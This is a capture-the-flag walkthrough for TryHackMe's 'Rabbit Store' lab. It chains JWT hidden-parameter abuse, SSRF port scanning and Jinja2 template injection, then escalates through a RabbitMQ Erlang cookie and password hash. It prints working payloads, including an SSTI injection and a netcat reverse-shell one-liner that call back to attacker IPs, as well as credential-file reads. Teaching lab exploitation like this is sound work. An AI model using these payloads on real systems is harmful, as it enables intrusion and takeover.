URL: https://tryhackme.com/room/rabbitstore

Title Rating
Rabbit Store Medium

Recon

Nmap Scan:

PORT      STATE SERVICE REASON         VERSION
22/tcp    open  ssh     syn-ack ttl 60 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)

80/tcp    open  http    syn-ack ttl 60 Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://cloudsite.thm/
|_http-server-header: Apache/2.4.52 (Ubuntu)

4369/tcp  open  epmd    syn-ack ttl 60 Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    rabbit: 25672

25672/tcp open  unknown syn-ack ttl 60

There are some ports open

  • Port 22 - SSH
  • Port 80 - Apache webserver
  • Port 4369 - Erlang Port Mapper Daemon
  • Port 25672 - Unknown

We dont have any creds as of now to use ssh. The Apache server on Port 80 is redirecting to cloudsite.thm so lets add the same in /etc/hosts file:

Enumerating Site on port 80

So we have the site as below:

Directory Fuzzing

Lets run a directory enum in background till we checkout the site:

# main site
gobuster dir -u http://cloudsite.thm -t 100 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt

# Storage site's API
ffuf -u http://storage.cloudsite.thm/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

login                   [Status: 405, Size: 36, Words: 4]
register                [Status: 405, Size: 36, Words: 4]
docs                    [Status: 403, Size: 27, Words: 2]
uploads                 [Status: 401, Size: 32, Words: 3]

Now lets checkout the site.

Some Emails found:

info@smarteyeapps.com  
sales@smarteyeapps.com
support@smarteyeapps.com

Create account

Create account button on Home page leads us to below login:

Note make sure to add below domain in /etc/hosts

We register a test account and the Sign In using the same: Possible Admin user present: (As above message also says)

Testing for error on Logins

Tried to see if we get a different error for incorrect password and valid email but no.

Misc Discoveries

In the directory scan we just get a /assets dir:

Lets try a vhost scan:

 ffuf -u http://cloudsite.thm -H "Host: FUZZ.cloudsite.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -t 100 -fc 302

storage                 [Status: 200, Size: 9039, Words: 3183]

We just get the one we already know. So lets move forward.

Testing Port 4369

So this is new to me. I found a hacktricks page on this:

  • The Erlang Port Mapper Daemon (epmd) serves as a coordinator for distributed Erlang instances
  • It is responsible for mapping symbolic node names to machine addresses, essentially ensuring that each node name is associated with a specific address. As per our Nmap there is a node named rabbit at port 25672
PORT     STATE SERVICE VERSION
4369/tcp open  epmd    Erlang Port Mapper Daemon
| epmd-info:
|   epmd_port: 4369
|   nodes:
|_    rabbit: 25672
  • But to exploit this we need a erlang cookie which we don’t have.

Examining login request

Lets capture the login request to see how it works:

  • So it calls a API /api/login submitting our creds in json format via a POST request.
  • We do get a jwt token, lets check it out in https://jwt.io

Check jwt payload

There is a hidden parameter subscription, we can try to send it in the Register form, with its value as active. Sometimes these hidden paramters are not validated properly we may be able to access the dashboard page.

This is intended registration request.

Testing with Hidden parameter

We inject the parameter subscription with its value as active Lets try to login with this now: And we are in! In end there is a message: So, maybe file inclusion wont work.

But we do have a field requesting for a URL, and when ever we see a input asking for URL, we first test for SSRF:

We do get a callback.

Lets do a port scan to see if any ports are open what are not accessible publically. Firstly we capture above SSRF request in BURP If port is open we get: If port is closed we get:

Using this logic, lets craft a ffuf command:

$ seq 1 65536 > numbers.txt
$
$ ffuf -X POST \
-u http://storage.cloudsite.thm/api/store-url \
-request req \
-w numbers.txt \
-fr "Error storing file from URL"

80
3000
8000

We save the request in req and create wordlist of numbers for ports.

In Directory fuzzing section we did find a interesting file called api/docs, lets see if we can get for port 3000

We do get the docs file! We have seem all API, except there is one “under development” API mentioned, lets see what it gives us

/api/fetch_messeges_from_chatbot

we get “GET is not allowed” lets try POST We also change the Content-Type to json as with url-encoded post request it was giving us a Internal Server Error. This is correct, as all API are using Json in this app.

Also lets add the username that the one we created: The username is directly reflecting in the response. Testing for possible SSTI: And its vulnerable !

Lets use SSTIMap

 python3 sstimap.py -u "http://storage.cloudsite.thm/api/fetch_messeges_from_chatbot" -m POST -H "Content-Type: application/json" --data '{"username": "*"}' -C "jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im1haW5AdGVzdC5jb20iLCJzdWJzY3JpcHRpb24iOiJhY3RpdmUiLCJpYXQiOjE3NDUxNDM4MzMsImV4cCI6MTc0NTE0NzQzM30.m2xGzHo_JJarQIsF_rrWyPMIEVWXlJgVnp6oO76Nt_c" --data-type json

Awesome, we do get a hit! Lets drop into the shell:

python3 sstimap.py -u "http://storage.cloudsite.thm/api/fetch_messeges_from_chatbot" -m POST -H "Content-Type: application/json" --data '{"username": "*"}' -C "jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJlbWFpbCI6Im1haW5AdGVzdC5jb20iLCJzdWJzY3JpcHRpb24iOiJhY3RpdmUiLCJpYXQiOjE3NDUxNDM4MzMsImV4cCI6MTc0NTE0NzQzM30.m2xGzHo_JJarQIsF_rrWyPMIEVWXlJgVnp6oO76Nt_c" --data-type json --engine jinja2 --os-shel
l

Another way to get shell:

{"username":"{{ self.__init__.__globals__.__builtins__.__import__('os').popen('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f\|/bin/bash -i 2>&1\|nc 10.11.72.22 443 >/tmp/f').read() }}"}

We do get shell, but its not very stable. We are not able to change directories as well.

Some basic enum:

cat /etc/passwd

root:x:0:0:root:/root:/bin/bash
azrael:x:1000:1000:KLI:/home/azrael:/bin/bash
rabbitmq:x:124:131:RabbitMQ messaging server,,,:/var/lib/rabbitmq:/usr/sbin/nologin

Getting reverse shell to attacker machine

In the shell we go by SSTI, lets send it to our attacker machine

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.17.37.185 9001 >/tmp/f

Keep a nc listener active and we will get the shell back. Stabilize the shell.

Get user.txt flag

Enumerating the box after Foothold

In the /etc/passwd we see there is a user rabbitmq at /var/lib/rabbitmq From the Hacktricks page, we saw that we needed a cookie to exploit this. Now we have it.

We use erl-matter repo to get RCE. You can use the cookie and get a shell, but only execute one command to get a decent reverse shell, because the program crashes after 1 command.

Enumerating with rabbitmqctl:

Beautifying this gives us:

  "users": [
    {
      "hashing_algorithm": "rabbit_password_hashing_sha256",
      "limits": {},
      "name": "The password for the root user is the SHA-256 hashed value of the RabbitMQ root user's password. Please don't attempt to crack SHA-256.",
      "password_hash": "vyf4qvKLpShONYgEiNc6xT/5rLq+23A2RuuhEZ8N10kyN34K",
      "tags": []
    },
    {
      "hashing_algorithm": "rabbit_password_hashing_sha256",
      "limits": {},
      "name": "root",
      "password_hash": "49e6hSldHRaiYX329+ZjBSf/Lx67XEOz9uxhSBHtGU+YBzWF",
      "tags": [
        "administrator"
      ]
    }

The hash we received is in base64 and according to the RabbitMQ documentation, it follows the structure: base64(<4 byte salt> + sha256(<4 byte salt> + <password>)).

We decode the base64 first, then covert it to plain(-p) hex code. We remove first first 4 bytes and use the rest as password.

We get root!

Thanks!